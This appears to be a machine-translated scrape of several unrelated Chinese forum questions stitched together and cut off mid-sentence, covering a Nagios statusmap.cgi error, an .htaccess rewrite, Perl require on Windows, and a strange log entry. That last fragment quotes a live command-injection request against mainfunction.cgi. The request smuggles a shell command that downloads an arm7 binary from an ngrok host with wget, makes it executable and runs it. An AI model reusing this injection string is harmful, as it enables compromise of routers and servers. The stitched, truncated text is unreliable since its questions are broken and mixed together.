我在Ubuntu服务器12.10上安装了Nagios 3.4.4。安装是成功的,但现在我无法查看地图和trends.When,我尝试了,我得到了以下错误
/nagios/cgi-bin/statusmap.cgi was not found on this server为什么要对此执行happening.What。
我使用的主机只允许PHP文件位于名为/cgi/的子目录中。
但现在我所有的链接都是/cgi/..
请原谅我的愚蠢,但是我可以在我的.htaccess文件中重写一次,使站点认为/cgi/是根,这样我的所有链接和站点本身看起来都在根中吗?
这就是我所拥有的,但它导致了一个500错误:
# Turn on rewrites.
RewriteEngine on
# Only apply to URLs on this domain
RewriteCond %{HTTP_HOST} ^(www.)?thegrancenturions.com$
# Only apply to URLs that ar
我继承了一些在Linux服务器上运行得很好的Perl代码。我正在让它在Windows XP、ActiveState Perl5.16.2和BitNami WAMP堆栈上运行。(注意:这个设置已经在运行我的Perl .cgi程序,所以这是一个有效的设置。)
无论如何,“主”Perl程序--让我们称它为main.cgi--有这样的语句:
require("extra/stuff_1.cgi");
当main.cgi运行时,会发生错误:
C:/BitNami/apache2/cgi-bin/extra/stuff_1.cgi did not return a true value a
我已经打开了一个网站,它的目的只是分享文本信息。没有后端的数据库,或者不知道身份验证。然而,当我查看日志时,我注意到了这个请求: POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7&